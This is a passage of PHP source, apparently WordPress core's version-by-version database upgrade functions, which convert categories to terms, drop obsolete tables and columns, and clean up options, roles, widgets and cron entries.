				$id = $user->user_nickname;
			}
			if ( 'login' === $idmode ) {
				$id = $user->user_login;
			}
			if ( 'firstname' === $idmode ) {
				$id = $user->user_firstname;
			}
			if ( 'lastname' === $idmode ) {
				$id = $user->user_lastname;
			}
			if ( 'namefl' === $idmode ) {
				$id = $user->user_firstname . ' ' . $user->user_lastname;
			}
			if ( 'namelf' === $idmode ) {
				$id = $user->user_lastname . ' ' . $user->user_firstname;
			}
			if ( ! $idmode ) {
				$id = $user->user_nickname;
			}
			$wpdb->update( $wpdb->users, array( 'display_name' => $id ), array( 'ID' => $user->ID ) );
		endif;

// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
		$caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities' );
		if ( empty( $caps ) || defined( 'RESET_CAPS' ) ) {
			$level = get_user_meta( $user->ID, $wpdb->prefix . 'user_level', true );
			$role  = translate_level_to_role( $level );
			update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array( $role => true ) );
		}

endforeach;
	$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
	$wpdb->hide_errors();
	foreach ( $old_user_fields as $old ) {
		$wpdb->query( "ALTER TABLE $wpdb->users DROP $old" );
	}
	$wpdb->show_errors();

// Populate comment_count field of posts table.
	$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
	if ( is_array( $comments ) ) {
		foreach ( $comments as $comment ) {
			$wpdb->update( $wpdb->posts, array( 'comment_count' => $comment->c ), array( 'ID' => $comment->comment_post_ID ) );
		}
	}

/*
	 * Some alpha versions used a post status of object instead of attachment
	 * and put the mime type in post_type instead of post_mime_type.
	 */
	if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
		$objects = $wpdb->get_results( "SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'" );
		foreach ( $objects as $object ) {
			$wpdb->update(
				$wpdb->posts,
				array(
					'post_status'    => 'attachment',
					'post_mime_type' => $object->post_type,
					'post_type'      => '',
				),
				array( 'ID' => $object->ID )
			);

$meta = get_post_meta( $object->ID, 'imagedata', true );
			if ( ! empty( $meta['file'] ) ) {
				update_attached_file( $object->ID, $meta['file'] );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 2.1.
 *
 * @ignore
 * @since 2.1.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_210() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 3506 ) {
		// Update status and type.
		$posts = $wpdb->get_results( "SELECT ID, post_status FROM $wpdb->posts" );

if ( ! empty( $posts ) ) {
			foreach ( $posts as $post ) {
				$status = $post->post_status;
				$type   = 'post';

if ( 'static' === $status ) {
					$status = 'publish';
					$type   = 'page';
				} elseif ( 'attachment' === $status ) {
					$status = 'inherit';
					$type   = 'attachment';
				}

$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID ) );
			}
		}
	}

if ( $wp_current_db_version < 3845 ) {
		populate_roles_210();
	}

if ( $wp_current_db_version < 3531 ) {
		// Give future posts a post_status of future.
		$now = gmdate( 'Y-m-d H:i:59' );
		$wpdb->query( "UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'" );

$posts = $wpdb->get_results( "SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'" );
		if ( ! empty( $posts ) ) {
			foreach ( $posts as $post ) {
				wp_schedule_single_event( mysql2date( 'U', $post->post_date, false ), 'publish_future_post', array( $post->ID ) );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 2.3.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_230() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 5200 ) {
		populate_roles_230();
	}

// Convert categories to terms.
	$tt_ids     = array();
	$have_tags  = false;
	$categories = $wpdb->get_results( "SELECT * FROM $wpdb->categories ORDER BY cat_ID" );
	foreach ( $categories as $category ) {
		$term_id     = (int) $category->cat_ID;
		$name        = $category->cat_name;
		$description = $category->category_description;
		$slug        = $category->category_nicename;
		$parent      = $category->category_parent;
		$term_group  = 0;

// Associate terms with the same slug in a term group and make slugs unique.
		$exists = $wpdb->get_results( $wpdb->prepare( "SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug ) );
		if ( $exists ) {
			$term_group = $exists[0]->term_group;
			$id         = $exists[0]->term_id;
			$num        = 2;
			do {
				$alt_slug = $slug . "-$num";
				$num++;
				$slug_check = $wpdb->get_var( $wpdb->prepare( "SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug ) );
			} while ( $slug_check );

$slug = $alt_slug;

if ( empty( $term_group ) ) {
				$term_group = $wpdb->get_var( "SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group" ) + 1;
				$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id ) );
			}
		}

$wpdb->query(
			$wpdb->prepare(
				"INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
		(%d, %s, %s, %d)",
				$term_id,
				$name,
				$slug,
				$term_group
			)
		);

$count = 0;
		if ( ! empty( $category->category_count ) ) {
			$count    = (int) $category->category_count;
			$taxonomy = 'category';
			$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

if ( ! empty( $category->link_count ) ) {
			$count    = (int) $category->link_count;
			$taxonomy = 'link_category';
			$wpdb->query( $wpdb->prepare( "INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

if ( ! empty( $category->tag_count ) ) {
			$have_tags = true;
			$count     = (int) $category->tag_count;
			$taxonomy  = 'post_tag';
			$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}

if ( empty( $count ) ) {
			$count    = 0;
			$taxonomy = 'category';
			$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent', 'count' ) );
			$tt_ids[ $term_id ][ $taxonomy ] = (int) $wpdb->insert_id;
		}
	}

$select = 'post_id, category_id';
	if ( $have_tags ) {
		$select .= ', rel_type';
	}

$posts = $wpdb->get_results( "SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id" );
	foreach ( $posts as $post ) {
		$post_id  = (int) $post->post_id;
		$term_id  = (int) $post->category_id;
		$taxonomy = 'category';
		if ( ! empty( $post->rel_type ) && 'tag' === $post->rel_type ) {
			$taxonomy = 'tag';
		}
		$tt_id = $tt_ids[ $term_id ][ $taxonomy ];
		if ( empty( $tt_id ) ) {
			continue;
		}

$wpdb->insert(
			$wpdb->term_relationships,
			array(
				'object_id'        => $post_id,
				'term_taxonomy_id' => $tt_id,
			)
		);
	}

// < 3570 we used linkcategories. >= 3570 we used categories and link2cat.
	if ( $wp_current_db_version < 3570 ) {
		/*
		 * Create link_category terms for link categories. Create a map of link
		 * category IDs to link_category terms.
		 */
		$link_cat_id_map  = array();
		$default_link_cat = 0;
		$tt_ids           = array();
		$link_cats        = $wpdb->get_results( 'SELECT cat_id, cat_name FROM ' . $wpdb->prefix . 'linkcategories' );
		foreach ( $link_cats as $category ) {
			$cat_id     = (int) $category->cat_id;
			$term_id    = 0;
			$name       = wp_slash( $category->cat_name );
			$slug       = sanitize_title( $name );
			$term_group = 0;

if ( empty( $term_id ) ) {
				$wpdb->insert( $wpdb->terms, compact( 'name', 'slug', 'term_group' ) );
				$term_id = (int) $wpdb->insert_id;
			}

$link_cat_id_map[ $cat_id ] = $term_id;
			$default_link_cat           = $term_id;

$wpdb->insert(
				$wpdb->term_taxonomy,
				array(
					'term_id'     => $term_id,
					'taxonomy'    => 'link_category',
					'description' => '',
					'parent'      => 0,
					'count'       => 0,
				)
			);
			$tt_ids[ $term_id ] = (int) $wpdb->insert_id;
		}

// Associate links to categories.
		$links = $wpdb->get_results( "SELECT link_id, link_category FROM $wpdb->links" );
		if ( ! empty( $links ) ) {
			foreach ( $links as $link ) {
				if ( 0 == $link->link_category ) {
					continue;
				}
				if ( ! isset( $link_cat_id_map[ $link->link_category ] ) ) {
					continue;
				}
				$term_id = $link_cat_id_map[ $link->link_category ];
				$tt_id   = $tt_ids[ $term_id ];
				if ( empty( $tt_id ) ) {
					continue;
				}

$wpdb->insert(
					$wpdb->term_relationships,
					array(
						'object_id'        => $link->link_id,
						'term_taxonomy_id' => $tt_id,
					)
				);
			}
		}

// Set default to the last category we grabbed during the upgrade loop.
		update_option( 'default_link_category', $default_link_cat );
	} else {
		$links = $wpdb->get_results( "SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id" );
		foreach ( $links as $link ) {
			$link_id  = (int) $link->link_id;
			$term_id  = (int) $link->category_id;
			$taxonomy = 'link_category';
			$tt_id    = $tt_ids[ $term_id ][ $taxonomy ];
			if ( empty( $tt_id ) ) {
				continue;
			}
			$wpdb->insert(
				$wpdb->term_relationships,
				array(
					'object_id'        => $link_id,
					'term_taxonomy_id' => $tt_id,
				)
			);
		}
	}

if ( $wp_current_db_version < 4772 ) {
		// Obsolete linkcategories table.
		$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories' );
	}

// Recalculate all counts.
	$terms = $wpdb->get_results( "SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy" );
	foreach ( (array) $terms as $term ) {
		if ( 'post_tag' === $term->taxonomy || 'category' === $term->taxonomy ) {
			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id ) );
		} else {
			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id ) );
		}
		$wpdb->update( $wpdb->term_taxonomy, array( 'count' => $count ), array( 'term_taxonomy_id' => $term->term_taxonomy_id ) );
	}
}

/**
 * Remove old options from the database.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_230_options_table() {
	global $wpdb;
	$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
	$wpdb->hide_errors();
	foreach ( $old_options_fields as $old ) {
		$wpdb->query( "ALTER TABLE $wpdb->options DROP $old" );
	}
	$wpdb->show_errors();
}

/**
 * Remove old categories, link2cat, and post2cat database tables.
 *
 * @ignore
 * @since 2.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_230_old_tables() {
	global $wpdb;
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat' );
	$wpdb->query( 'DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat' );
}

/**
 * Upgrade old slugs made in version 2.2.
 *
 * @ignore
 * @since 2.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_old_slugs() {
	// Upgrade people who were using the Redirect Old Slugs plugin.
	global $wpdb;
	$wpdb->query( "UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'" );
}

/**
 * Execute changes made in WordPress 2.5.0.
 *
 * @ignore
 * @since 2.5.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_250() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 6689 ) {
		populate_roles_250();
	}

}

/**
 * Execute changes made in WordPress 2.5.2.
 *
 * @ignore
 * @since 2.5.2
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_252() {
	global $wpdb;

$wpdb->query( "UPDATE $wpdb->users SET user_activation_key = ''" );
}

/**
 * Execute changes made in WordPress 2.6.
 *
 * @ignore
 * @since 2.6.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_260() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 8000 ) {
		populate_roles_260();
	}
}

/**
 * Execute changes made in WordPress 2.7.
 *
 * @ignore
 * @since 2.7.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_270() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 8980 ) {
		populate_roles_270();
	}

// Update post_date for unpublished posts with empty timestamp.
	if ( $wp_current_db_version < 8921 ) {
		$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
	}
}

/**
 * Execute changes made in WordPress 2.8.
 *
 * @ignore
 * @since 2.8.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_280() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 10360 ) {
		populate_roles_280();
	}
	if ( is_multisite() ) {
		$start = 0;
		while ( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) {
			foreach ( $rows as $row ) {
				$value = $row->option_value;
				if ( ! @unserialize( $value ) ) {
					$value = stripslashes( $value );
				}
				if ( $value !== $row->option_value ) {
					update_option( $row->option_name, $value );
				}
			}
			$start += 20;
		}
		clean_blog_cache( get_current_blog_id() );
	}
}

/**
 * Execute changes made in WordPress 2.9.
 *
 * @ignore
 * @since 2.9.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_290() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 11958 ) {
		// Previously, setting depth to 1 would redundantly disable threading,
		// but now 2 is the minimum depth to avoid confusion.
		if ( get_option( 'thread_comments_depth' ) == '1' ) {
			update_option( 'thread_comments_depth', 2 );
			update_option( 'thread_comments', 0 );
		}
	}
}

/**
 * Execute changes made in WordPress 3.0.
 *
 * @ignore
 * @since 3.0.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_300() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 15093 ) {
		populate_roles_300();
	}

if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false ) {
		add_site_option( 'siteurl', '' );
	}

// 3.0 screen options key name changes.
	if ( wp_should_upgrade_global_tables() ) {
		$sql    = "DELETE FROM $wpdb->usermeta
			WHERE meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key LIKE %s
			OR meta_key = 'manageedittagscolumnshidden'
			OR meta_key = 'managecategoriescolumnshidden'
			OR meta_key = 'manageedit-tagscolumnshidden'
			OR meta_key = 'manageeditcolumnshidden'
			OR meta_key = 'categories_per_page'
			OR meta_key = 'edit_tags_per_page'";
		$prefix = $wpdb->esc_like( $wpdb->base_prefix );
		$wpdb->query(
			$wpdb->prepare(
				$sql,
				$prefix . '%' . $wpdb->esc_like( 'meta-box-hidden' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'closedpostboxes' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'manage-' ) . '%' . $wpdb->esc_like( '-columns-hidden' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'meta-box-order' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'metaboxorder' ) . '%',
				$prefix . '%' . $wpdb->esc_like( 'screen_layout' ) . '%'
			)
		);
	}

}

/**
 * Execute changes made in WordPress 3.3.
 *
 * @ignore
 * @since 3.3.0
 *
 * @global int   $wp_current_db_version The old (current) database version.
 * @global wpdb  $wpdb                  WordPress database abstraction object.
 * @global array $wp_registered_widgets
 * @global array $sidebars_widgets
 */
function upgrade_330() {
	global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets;

if ( $wp_current_db_version < 19061 && wp_should_upgrade_global_tables() ) {
		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" );
	}

if ( $wp_current_db_version >= 11548 ) {
		return;
	}

$sidebars_widgets  = get_option( 'sidebars_widgets', array() );
	$_sidebars_widgets = array();

if ( isset( $sidebars_widgets['wp_inactive_widgets'] ) || empty( $sidebars_widgets ) ) {
		$sidebars_widgets['array_version'] = 3;
	} elseif ( ! isset( $sidebars_widgets['array_version'] ) ) {
		$sidebars_widgets['array_version'] = 1;
	}

switch ( $sidebars_widgets['array_version'] ) {
		case 1:
			foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
				if ( is_array( $sidebar ) ) {
					foreach ( (array) $sidebar as $i => $name ) {
						$id = strtolower( $name );
						if ( isset( $wp_registered_widgets[ $id ] ) ) {
							$_sidebars_widgets[ $index ][ $i ] = $id;
							continue;
						}
						$id = sanitize_title( $name );
						if ( isset( $wp_registered_widgets[ $id ] ) ) {
							$_sidebars_widgets[ $index ][ $i ] = $id;
							continue;
						}

$found = false;

foreach ( $wp_registered_widgets as $widget_id => $widget ) {
							if ( strtolower( $widget['name'] ) == strtolower( $name ) ) {
								$_sidebars_widgets[ $index ][ $i ] = $widget['id'];
								$found                             = true;
								break;
							} elseif ( sanitize_title( $widget['name'] ) == sanitize_title( $name ) ) {
								$_sidebars_widgets[ $index ][ $i ] = $widget['id'];
								$found                             = true;
								break;
							}
						}

if ( $found ) {
							continue;
						}

unset( $_sidebars_widgets[ $index ][ $i ] );
					}
				}
			}
			$_sidebars_widgets['array_version'] = 2;
			$sidebars_widgets                   = $_sidebars_widgets;
			unset( $_sidebars_widgets );

// Intentional fall-through to upgrade to the next version.
		case 2:
			$sidebars_widgets                  = retrieve_widgets();
			$sidebars_widgets['array_version'] = 3;
			update_option( 'sidebars_widgets', $sidebars_widgets );
	}
}

/**
 * Execute changes made in WordPress 3.4.
 *
 * @ignore
 * @since 3.4.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_340() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 19798 ) {
		$wpdb->hide_errors();
		$wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" );
		$wpdb->show_errors();
	}

if ( $wp_current_db_version < 19799 ) {
		$wpdb->hide_errors();
		$wpdb->query( "ALTER TABLE $wpdb->comments DROP INDEX comment_approved" );
		$wpdb->show_errors();
	}

if ( $wp_current_db_version < 20022 && wp_should_upgrade_global_tables() ) {
		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" );
	}

if ( $wp_current_db_version < 20080 ) {
		if ( 'yes' === $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) {
			$uninstall_plugins = get_option( 'uninstall_plugins' );
			delete_option( 'uninstall_plugins' );
			add_option( 'uninstall_plugins', $uninstall_plugins, null, 'no' );
		}
	}
}

/**
 * Execute changes made in WordPress 3.5.
 *
 * @ignore
 * @since 3.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_350() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
		update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options().
	}

if ( $wp_current_db_version < 21811 && wp_should_upgrade_global_tables() ) {
		$meta_keys = array();
		foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) {
			if ( false !== strpos( $name, '-' ) ) {
				$meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page';
			}
		}
		if ( $meta_keys ) {
			$meta_keys = implode( "', '", $meta_keys );
			$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" );
		}
	}

if ( $wp_current_db_version < 22422 ) {
		$term = get_term_by( 'slug', 'post-format-standard', 'post_format' );
		if ( $term ) {
			wp_delete_term( $term->term_id, 'post_format' );
		}
	}
}

/**
 * Execute changes made in WordPress 3.7.
 *
 * @ignore
 * @since 3.7.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_370() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 25824 ) {
		wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' );
	}
}

/**
 * Execute changes made in WordPress 3.7.2.
 *
 * @ignore
 * @since 3.7.2
 * @since 3.8.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_372() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 26148 ) {
		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
	}
}

/**
 * Execute changes made in WordPress 3.8.0.
 *
 * @ignore
 * @since 3.8.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_380() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 26691 ) {
		deactivate_plugins( array( 'mp6/mp6.php' ), true );
	}
}

/**
 * Execute changes made in WordPress 4.0.0.
 *
 * @ignore
 * @since 4.0.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_400() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 29630 ) {
		if ( ! is_multisite() && false === get_option( 'WPLANG' ) ) {
			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && in_array( WPLANG, get_available_languages(), true ) ) {
				update_option( 'WPLANG', WPLANG );
			} else {
				update_option( 'WPLANG', '' );
			}
		}
	}
}

/**
 * Execute changes made in WordPress 4.2.0.
 *
 * @ignore
 * @since 4.2.0
 */
function upgrade_420() {}

/**
 * Executes changes made in WordPress 4.3.0.
 *
 * @ignore
 * @since 4.3.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_430() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 32364 ) {
		upgrade_430_fix_comments();
	}

// Shared terms are split in a separate process.
	if ( $wp_current_db_version < 32814 ) {
		update_option( 'finished_splitting_shared_terms', 0 );
		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
	}

if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
		if ( is_multisite() ) {
			$tables = $wpdb->tables( 'blog' );
		} else {
			$tables = $wpdb->tables( 'all' );
			if ( ! wp_should_upgrade_global_tables() ) {
				$global_tables = $wpdb->tables( 'global' );
				$tables        = array_diff_assoc( $tables, $global_tables );
			}
		}

foreach ( $tables as $table ) {
			maybe_convert_table_to_utf8mb4( $table );
		}
	}
}

/**
 * Executes comments changes made in WordPress 4.3.0.
 *
 * @ignore
 * @since 4.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function upgrade_430_fix_comments() {
	global $wpdb;

$content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' );

if ( is_wp_error( $content_length ) ) {
		return;
	}

if ( false === $content_length ) {
		$content_length = array(
			'type'   => 'byte',
			'length' => 65535,
		);
	} elseif ( ! is_array( $content_length ) ) {
		$length         = (int) $content_length > 0 ? (int) $content_length : 65535;
		$content_length = array(
			'type'   => 'byte',
			'length' => $length,
		);
	}

if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) {
		// Sites with malformed DB schemas are on their own.
		return;
	}

$allowed_length = intval( $content_length['length'] ) - 10;

$comments = $wpdb->get_results(
		"SELECT `comment_ID` FROM `{$wpdb->comments}`
			WHERE `comment_date_gmt` > '2015-04-26'
			AND LENGTH( `comment_content` ) >= {$allowed_length}
			AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )"
	);

foreach ( $comments as $comment ) {
		wp_delete_comment( $comment->comment_ID, true );
	}
}

/**
 * Executes changes made in WordPress 4.3.1.
 *
 * @ignore
 * @since 4.3.1
 */
function upgrade_431() {
	// Fix incorrect cron entries for term splitting.
	$cron_array = _get_cron_array();
	if ( isset( $cron_array['wp_batch_split_terms'] ) ) {
		unset( $cron_array['wp_batch_split_terms'] );
		_set_cron_array( $cron_array );
	}
}

/**
 * Executes changes made in WordPress 4.4.0.
 *
 * @ignore
 * @since 4.4.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_440() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 34030 ) {
		$wpdb->query( "ALTER TABLE {$wpdb->options} MODIFY option_name VARCHAR(191)" );
	}

// Remove the unused 'add_users' role.
	$roles = wp_roles();
	foreach ( $roles->role_objects as $role ) {
		if ( $role->has_cap( 'add_users' ) ) {
			$role->remove_cap( 'add_users' );
		}
	}
}

/**
 * Executes changes made in WordPress 4.5.0.
 *
 * @ignore
 * @since 4.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_450() {
	global $wp_current_db_version, $wpdb;

if ( $wp_current_db_version < 36180 ) {
		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
	}

// Remove unused email confirmation options, moved to usermeta.
	if ( $wp_current_db_version < 36679 && is_multisite() ) {
		$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^[0-9]+_new_email$'" );
	}

// Remove unused user setting for wpLink.
	delete_user_setting( 'wplink' );
}

/**
 * Executes changes made in WordPress 4.6.0.
 *
 * @ignore
 * @since 4.6.0
 *
 * @global int $wp_current_db_version The old (current) database version.
 */
function upgrade_460() {
	global $wp_current_db_version;

// Remove unused post meta.
	if ( $wp_current_db_version < 37854 ) {
		delete_post_meta_by_key( '_post_restored_from' );
	}

// Remove plugins with callback as an array object/method as the uninstall hook, see #13786.
	if ( $wp_current_db_version < 37965 ) {
		$uninstall_plugins = get_option( 'uninstall_plugins', array() );

if ( ! empty( $uninstall_plugins ) ) {
			foreach ( $uninstall_plugins as $basename => $callback ) {
				if ( is_array( $callback ) && is_object( $callback[0] ) ) {
					unset( $uninstall_plugins[ $basename ] );
				}
			}

update_option( 'uninstall_plugins', $uninstall_plugins );
		}
	}
}

/**
 * Executes changes made in WordPress 5.0.0.
 *
 * @ignore
 * @since 5.0.0
 * @deprecated 5.1.0
 */
function upgrade_500() {
}

/**
 * Executes changes made in WordPress 5.1.0.
 *
 * @ignore
 * @since 5.1.0
 */
function upgrade_510() {
	delete_site_option( 'upgrade_500_was_gutenberg_active' );
}

/**
 * Executes changes made in WordPress 5.3.0.
 *
 * @ignore
 * @since 5.3.0
 */
function upgrade_530() {
	/*
	 * The `admin_email_lifespan` option may have been set by an admin that just logged in,
	 * saw the verification screen, clicked on a button there, and is now upgrading the db,
	 * or by populate_options() that is called earlier in upgrade_all().
	 * In the second case `admin_email_lifespan` should be reset so the verification screen
	 * is shown next time an admin logs in.
	 */
	if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) {
		update_option( 'admin_email_lifespan', 0 );
	}
}

/**
 * Executes changes made in WordPress 5.5.0.
 *
 * @ignore
 * @since 5.5.0
 */
function upgrade_550() {
	global $wp_current_db_version;

if ( $wp_current_db_version < 48121 ) {
		$comment_previously_approved = get_option( 'comment_whitelist', '' );
		update_option( 'comment_previously_approved', $comment_previously_approved );
		delete_option( 'comment_whitelist' );
	}

if ( $wp_current_db_version < 48575 ) {
		// Use more clear and inclusive language.
		$disallowed_list = get_option( 'blacklist_keys' );

/*
		 * This option key was briefly renamed `blocklist_keys`.
		 * Account for sites that have this key present when the original key does not exist.
		 */
		if ( false === $disallowed_list ) {
			$disallowed_list = get_option( 'blocklist_keys' );
		}

update_option( 'disallowed_keys', $disallowed_list );
		delete_option( 'blacklist_keys' );
		delete_option( 'blocklist_keys' );
	}

if ( $wp_current_db_version < 48748 ) {
		update_option( 'finished_updating_comment_type', 0 );
		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );
	}
}

/**
 * Executes network-level upgrade routines.
 *
 * @since 3.0.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function upgrade_network() {
	global $wp_current_db_version, $wpdb;

// Always clear expired transients.
	delete_expired_transients( true );

// 2.8.0
	if ( $wp_current_db_version < 11549 ) {
		$wpmu_sitewide_plugins   = get_site_option( 'wpmu_sitewide_plugins' );
		$active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' );
		if ( $wpmu_sitewide_plugins ) {
			if ( ! $active_sitewide_plugins ) {
				$sitewide_plugins = (array) $wpmu_sitewide_plugins;
			} else {
				$sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins );
			}

